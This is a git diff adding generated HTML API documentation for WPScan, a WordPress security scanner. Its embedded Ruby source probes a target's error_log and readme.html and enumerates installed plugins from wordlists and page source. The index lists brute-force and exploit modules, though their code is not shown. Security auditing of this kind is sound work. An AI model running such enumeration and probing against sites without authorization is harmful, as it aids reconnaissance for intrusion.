+  <span class="ruby-identifier">response_body</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">error_log_url</span>(), <span class="ruby-value">:headers</span> =<span class="ruby-operator">&gt;</span> {<span class="ruby-string">&quot;range&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;bytes=0-700&quot;</span>}).<span class="ruby-identifier">body</span>
+  <span class="ruby-identifier">response_body</span>[<span class="ruby-regexp">%{PHP Fatal error}</span>] <span class="ruby-operator">?</span> <span class="ruby-keyword">true</span> <span class="ruby-operator">:</span> <span class="ruby-keyword">false</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- error_log-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- error_log-3F-method -->
+
+      
+        <div id="error_log_url-method" class="method-detail ">
+          <a name="method-i-error_log_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">error_log_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="error_log_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_plugin.rb, line 39</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">error_log_url</span>
+  <span class="ruby-identifier">get_full_url</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;error_log&quot;</span>).<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- error_log_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- error_log_url-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpPlugins.html b/doc/WpPlugins.html
new file mode 100644
index 00000000..2c845832
--- /dev/null
+++ b/doc/WpPlugins.html
@@ -0,0 +1,327 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Module: WpPlugins</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="module">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/modules/wp_plugins_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/modules/wp_plugins.rb">lib/wpscan/modules/wp_plugins.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-plugins_from_aggressive_detection">#plugins_from_aggressive_detection</a></li>
+          
+          <li><a href="#method-i-plugins_from_passive_detection">#plugins_from_passive_detection</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="module">WpPlugins</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="plugins_from_aggressive_detection-method" class="method-detail ">
+          <a name="method-i-plugins_from_aggressive_detection"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">plugins_from_aggressive_detection</span><span
+              class="method-args">(options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Enumerate installed plugins.</p>
+
+<p>return array of <a href="WpPlugin.html">WpPlugin</a></p>
+            
+
+            
+            <div class="method-source-code" id="plugins_from_aggressive_detection-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_plugins.rb, line 24</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">plugins_from_aggressive_detection</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:file</span>]          = <span class="ruby-identifier">options</span>[<span class="ruby-value">:file</span>] <span class="ruby-operator">||</span> <span class="ruby-node">&quot;#{DATA_DIR}/plugins.txt&quot;</span>
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>]    = <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>] <span class="ruby-operator">||</span> <span class="ruby-node">&quot;#{DATA_DIR}/plugin_vulns.xml&quot;</span>
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath</span>]   = <span class="ruby-node">&quot;//plugin[@name='#{@name}']/vulnerability&quot;</span>
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath_2</span>] = <span class="ruby-string">&quot;//plugin&quot;</span>
+  <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>]          = <span class="ruby-string">&quot;plugins&quot;</span>
+  <span class="ruby-identifier">result</span> = <span class="ruby-constant">WpDetector</span>.<span class="ruby-identifier">aggressive_detection</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">plugins</span> = []
+  <span class="ruby-identifier">result</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">r</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">plugins</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">WpPlugin</span>.<span class="ruby-identifier">new</span>(
+        <span class="ruby-value">:base_url</span>       =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">r</span>.<span class="ruby-identifier">base_url</span>,
+        <span class="ruby-value">:path</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">r</span>.<span class="ruby-identifier">path</span>,
+        <span class="ruby-value">:wp_content_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">r</span>.<span class="ruby-identifier">wp_content_dir</span>,
+        <span class="ruby-value">:name</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">r</span>.<span class="ruby-identifier">name</span>,
+        <span class="ruby-value">:type</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;plugins&quot;</span>,
+        <span class="ruby-value">:wp_plugins_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">r</span>.<span class="ruby-identifier">wp_plugins_dir</span>
+    )
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">plugins</span>.<span class="ruby-identifier">sort_by</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-identifier">p</span>.<span class="ruby-identifier">name</span> }
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- plugins_from_aggressive_detection-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- plugins_from_aggressive_detection-method -->
+
+      
+        <div id="plugins_from_passive_detection-method" class="method-detail ">
+          <a name="method-i-plugins_from_passive_detection"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">plugins_from_passive_detection</span><span
+              class="method-args">(options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p><a
+href="http://code.google.com/p/wpscan/issues/detail?id=42">code.google.com/p/wpscan/issues/detail?id=42</a>
+plugins can be found in the source code :</p>
+
+<pre>&lt;script src='http://example.com/wp-content/plugins/s2member/...' /&gt;
+&lt;link rel='stylesheet' href='http://example.com/wp-content/plugins/wp-minify/..' type='text/css' media='screen'/&gt;
+...</pre>
+
+<p>return array of <a href="WpPlugin.html">WpPlugin</a></p>
+            
+
+            
+            <div class="method-source-code" id="plugins_from_passive_detection-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_plugins.rb, line 51</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">plugins_from_passive_detection</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">plugins</span> = []
+  <span class="ruby-identifier">temp</span> = <span class="ruby-constant">WpDetector</span>.<span class="ruby-identifier">passive_detection</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>], <span class="ruby-string">&quot;plugins&quot;</span>, <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>])
+
+  <span class="ruby-identifier">temp</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">item</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">plugins</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">WpPlugin</span>.<span class="ruby-identifier">new</span>(
+        <span class="ruby-value">:base_url</span>       =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">item</span>.<span class="ruby-identifier">base_url</span>,
+        <span class="ruby-value">:name</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">item</span>.<span class="ruby-identifier">name</span>,
+        <span class="ruby-value">:path</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">item</span>.<span class="ruby-identifier">path</span>,
+        <span class="ruby-value">:wp_content_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>],
+        <span class="ruby-value">:type</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;plugins&quot;</span>,
+        <span class="ruby-value">:wp_plugins_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_plugins_dir</span>]
+    )
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">plugins</span>.<span class="ruby-identifier">sort_by</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-identifier">p</span>.<span class="ruby-identifier">name</span> }
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- plugins_from_passive_detection-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- plugins_from_passive_detection-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpReadme.html b/doc/WpReadme.html
new file mode 100644
index 00000000..2ccec6db
--- /dev/null
+++ b/doc/WpReadme.html
@@ -0,0 +1,294 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Module: WpReadme</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="module">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/modules/wp_readme_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/modules/wp_readme.rb">lib/wpscan/modules/wp_readme.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-has_readme-3F">#has_readme?</a></li>
+          
+          <li><a href="#method-i-readme_url">#readme_url</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="module">WpReadme</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="has_readme-3F-method" class="method-detail ">
+          <a name="method-i-has_readme-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">has_readme?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Checks to see if the readme.html file exists</p>
+
+<p>This file comes by default in a wordpress installation, and if deleted is
+reinstated with an upgrade.</p>
+            
+
+            
+            <div class="method-source-code" id="has_readme-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_readme.rb, line 25</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">has_readme?</span>
+  <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">readme_url</span>())
+
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">404</span>
+    <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">%{wordpress}</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- has_readme-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- has_readme-3F-method -->
+
+      
+        <div id="readme_url-method" class="method-detail ">
+          <a name="method-i-readme_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">readme_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="readme_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_readme.rb, line 33</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">readme_url</span>
+  <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;readme.html&quot;</span>).<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- readme_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- readme_url-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpTarget.html b/doc/WpTarget.html
new file mode 100644
index 00000000..7d61e87d
--- /dev/null
+++ b/doc/WpTarget.html
@@ -0,0 +1,984 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: WpTarget</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/wp_target_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wp_target.rb">lib/wpscan/wp_target.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-c-valid_response_codes">::valid_response_codes</a></li>
+          
+          <li><a href="#method-i-debug_log_url">#debug_log_url</a></li>
+          
+          <li><a href="#method-i-error_404_hash">#error_404_hash</a></li>
+          
+          <li><a href="#method-i-has_debug_log-3F">#has_debug_log?</a></li>
+          
+          <li><a href="#method-i-is_multisite-3F">#is_multisite?</a></li>
+          
+          <li><a href="#method-i-login_url">#login_url</a></li>
+          
+          <li><a href="#method-i-registration_enabled-3F">#registration_enabled?</a></li>
+          
+          <li><a href="#method-i-registration_url">#registration_url</a></li>
+          
+          <li><a href="#method-i-search_replace_db_2_exists-3F">#search_replace_db_2_exists?</a></li>
+          
+          <li><a href="#method-i-search_replace_db_2_url">#search_replace_db_2_url</a></li>
+          
+          <li><a href="#method-i-theme">#theme</a></li>
+          
+          <li><a href="#method-i-url">#url</a></li>
+          
+          <li><a href="#method-i-version">#version</a></li>
+          
+          <li><a href="#method-i-wp_content_dir">#wp_content_dir</a></li>
+          
+          <li><a href="#method-i-wp_plugins_dir">#wp_plugins_dir</a></li>
+          
+          <li><a href="#method-i-wp_plugins_dir_exists-3F">#wp_plugins_dir_exists?</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+      <!-- Included Modules -->
+      <div id="includes-section" class="section">
+        <h3 class="section-header">Included Modules</h3>
+        <ul class="link-list">
+        
+        
+          <li><a class="include" href="WebSite.html">WebSite</a></li>
+        
+        
+        
+          <li><a class="include" href="WpReadme.html">WpReadme</a></li>
+        
+        
+        
+          <li><a class="include" href="WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+        
+        
+          <li><a class="include" href="WpConfigBackup.html">WpConfigBackup</a></li>
+        
+        
+        
+          <li><a class="include" href="WpLoginProtection.html">WpLoginProtection</a></li>
+        
+        
+        
+          <li><a class="include" href="Malwares.html">Malwares</a></li>
+        
+        
+        
+          <li><a class="include" href="WpUsernames.html">WpUsernames</a></li>
+        
+        
+        
+          <li><a class="include" href="WpTimthumbs.html">WpTimthumbs</a></li>
+        
+        
+        
+          <li><a class="include" href="WpPlugins.html">WpPlugins</a></li>
+        
+        
+        
+          <li><a class="include" href="WpThemes.html">WpThemes</a></li>
+        
+        
+        
+          <li><a class="include" href="BruteForce.html">BruteForce</a></li>
+        
+        
+        </ul>
+      </div>
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
